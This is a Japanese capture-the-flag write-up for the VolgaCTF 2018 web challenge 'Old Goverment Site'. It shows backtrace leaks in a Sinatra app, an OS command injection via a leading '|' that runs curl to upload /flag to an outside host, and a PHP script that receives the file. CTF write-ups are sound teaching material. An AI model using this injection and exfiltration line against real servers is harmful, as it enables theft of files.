0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

VolgaCTF 2018 Quals writeup

Posted at

自分はweb150のOld Goverment Siteしか解けませんでした。色々反省点しかないですがとりあえずwriteupを残します。

http://188.246.233.50:8080/page?id=2

で各ページが表示される

http://188.246.233.50:8080/a

存在しないファイルにアクセスすると404のページでsinatraがつかわれているということがわかる。

スクリーンショット 2018-03-26 0.47.22.png

http://188.246.233.50:8080/page?id[]=2

とするとバックトレースが表示される

スクリーンショット 2018-03-26 0.51.19.png

ここでid=18でpage18が表示されることに気づく

スクリーンショット 2018-03-26 0.53.01.png

page18にはフォームがあってsiteの部分にURLを入力すると指定したURLにアクセスしてきた。

スクリーンショット 2018-03-26 0.55.41.png

次は/flagと入力してみると読み込みに成功したが表示がされない。

flagを読み込んだりURLにアクセスしてきているコードの部分が見たかったので該当コードをうまいことバックトレースに該当コードを表示させる。

http://188.246.233.50:8080/pageにPOSTでid[]=1とリクエストすることで表示できた
スクリーンショット 2018-03-26 1.00.43.png

flagを読み込んでその中身を指定したURLに送信できないか調べているとちょうどそんな記事があった。

|を先頭に置くとOSコマンドインジェクションができるというもの

これを使ってcurlでファイルを送信すればflagが読めそう。

| curl -F file=@/flag http://example.com/file.php

待ち受けサーバーのスクリプト

<?php
$uploaddir = '/var/www/html/';
$uploadfile = $uploaddir . basename($_FILES['file']['name']);
$content = file_get_contents($_FILES['file']['tmp_name']);
file_put_contents('flag', $content);

VolgaCTF{dedicated_to_all_goverment_site}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?